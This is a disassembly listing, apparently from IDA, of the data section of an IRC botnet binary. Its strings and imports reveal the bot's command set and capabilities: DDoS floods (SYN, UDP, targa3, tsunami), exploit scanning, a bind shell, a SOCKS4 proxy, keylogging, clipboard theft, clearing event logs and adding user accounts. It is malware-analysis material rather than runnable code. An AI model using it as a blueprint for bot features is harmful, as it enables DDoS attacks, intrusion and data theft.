		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Co
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1747o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1732o
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Do
aT:					; DATA XREF: sub_401ACD+1708o
					; ___:00437F84o
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F3o
unk_42C284	db  2Dh	; -		; DATA XREF: sub_401ACD+16BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42C2AC	db  2Dh	; -		; DATA XREF: sub_401ACD+16B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A1o
		align 4
aI:					; DATA XREF: sub_401ACD+168Co
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1677o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1662o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Do
		align 4
aQ:					; DATA XREF: sub_401ACD+1638o
					; ___:off_437BF0o
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1623o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Eo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15F9o
		align 4
aR:					; DATA XREF: sub_401ACD+15E4o
					; sub_401ACD+3DA8o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15CFo
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BAo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A5o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1590o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1566o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1551o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Co
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1527o
		align 10h
dword_42C370	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Co
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1517o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FEo
		align 10h
dword_42C390	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F3o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EEo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D5o
		align 4
dword_42C3B4	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CAo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C5o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ACo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1497o
		align 10h
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1482o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Do
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1458o
		align 4
dword_42C404	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+142Fo
		align 10h
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1406o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DDo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B4o
		align 10h
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Bo
unk_42C44C	db  2Dh	; -		; DATA XREF: sub_401ACD+1371o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C480	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1336o
					; sub_401ACD+13D2o
dword_42C490	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1331o
					; sub_401ACD+13CDo
dword_42C4A0	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1318o
					; sub_401ACD+13A9o
dword_42C4B0	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1313o
					; sub_401ACD+13A4o
dword_42C4C0	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B8o
					; sub_401ACD+1424o
dword_42C4CC	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
					; sub_401ACD+141Fo
dword_42C4D8	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
					; sub_401ACD+13FBo
dword_42C4E4	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
					; sub_401ACD+13F6o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1235o
		align 4
dword_42C4FC	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Ao
					; sub_401ACD+12F7o
dword_42C508	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
					; sub_401ACD+12F2o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Co
		align 10h
dword_42C520	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1201o
					; sub_401ACD+12D9o
dword_42C530	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FCo
					; sub_401ACD+12D4o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E3o
		align 4
dword_42C54C	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D8o
					; sub_401ACD+1357o
dword_42C55C	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D3o
					; sub_401ACD+1352o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BAo
		align 4
dword_42C578	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
					; sub_401ACD+1279o
dword_42C584	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
					; sub_401ACD+1274o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1191o
dword_42C598	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1186o
					; sub_401ACD+125Bo
dword_42C5A4	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
					; sub_401ACD+1256o
dword_42C5B0	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42C5BC	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Do
dword_42C5CC	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1158o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+113Fo
		align 4
dword_42C5EC	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42C5F8	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+112Fo
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1116o
dword_42C60C	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EDo
		align 4
dword_42C628	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E2o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C4o
		align 4
dword_42C644	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BCo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Eo
		align 10h
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1089o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1074o
		align 4
dword_42C66C	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1052o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Do
					; sub_401ACD+10B7o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1034o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+101Fo
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Ao
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF5o
		align 10h
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE0o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCBo
					; sub_401ACD+2D69o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB6o
					; sub_401ACD+2D58o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA1o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Co
		align 4
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F77o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F62o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Do
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F38o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F23o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Eo
		align 10h
aD:					; DATA XREF: sub_401ACD+EF9o
					; ___:00437C1Co ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE4o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ECFo
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB7o
a63		db '63',0               ; DATA XREF: sub_401ACD+D84o
		align 4
asc_42C718:				; DATA XREF: sub_401ACD+D5Co
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D1Fo
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D14o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D03o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE7o
		align 10h
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD6o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC4o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C56o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B92o
		align 4
aK:					; DATA XREF: sub_401ACD+AA6o
					; sub_401ACD+3DD2o ...
		unicode	0, <k>,0
unk_42C75C	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 10h
unk_42C790	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 10h
unk_42C7C0	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42C7F8	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 10h
unk_42C820	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42C864	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 10h
dword_42C8A0	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42C8B8	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42C8C0	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42C8DC	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42C8E8	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA7F+1Bo
unk_42C8EC	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 10h
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 4
dword_42C928	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42C930	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADCo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A72+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A72+16o
unk_42C944	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_42C968	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42C9BC	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBCo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Eo ...
		align 10h
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177CF:loc_417837o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 10h
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177CF+50o
		align 4
asc_42CA28:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DADo
		unicode	0, <!>,0
asc_42CA2C:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Co ...
		unicode	0, < >,0
asc_42CA30	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402601o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B12:loc_40A77Co
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B12+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B12+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B12+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B12+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B12+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B12:loc_40A6DEo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B12+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B12+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B12+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B12:loc_40A5D6o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B12:loc_40A58Co
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
					; sub_4185A4+65o
		align 10h
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B12+9DFo
		align 10h
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B12+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B12+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B12+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B12+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B12+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B12+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B12:loc_40A470o
					; sub_4185A4+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B12+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B12+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B12+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B12:loc_40A411o
		align 10h
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B12+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
		align 10h
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
		align 10h
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B12+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B12+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B12+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B12+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B12+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B12+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B12+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409B12+64Bo
		align 10h
aListen		db 'listen',0           ; DATA XREF: sub_409B12+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409B12+631o
		align 10h
aBind		db 'bind',0             ; DATA XREF: sub_409B12+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B12+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B12+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B12+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B12+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B12+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B12+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B12+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B12+5AFo
		align 10h
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B12+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409B12+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B12+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B12+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B12+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B12+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B12+554o
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B12+547o
		align 10h
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B12+53Ao
		align 10h
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B12+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B12+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B12+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B12+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B12+494o
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B12+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B12+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B12+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
		align 10h
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B12+43Eo
		align 10h
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B12:loc_409F3Fo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B12:loc_409F17o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
		align 10h
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B12+386o
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B12+379o
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B12+36Co
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B12+35Fo
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B12:loc_409E69o
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B12+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B12+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B12+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B12+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B12+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B12:loc_409D71o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B12+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B12+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B12+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B12+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B12+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B12+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B12+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B12+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B12+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B12:loc_409C47o
					; sub_424D78+Do
		align 10h
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B12+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B12+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
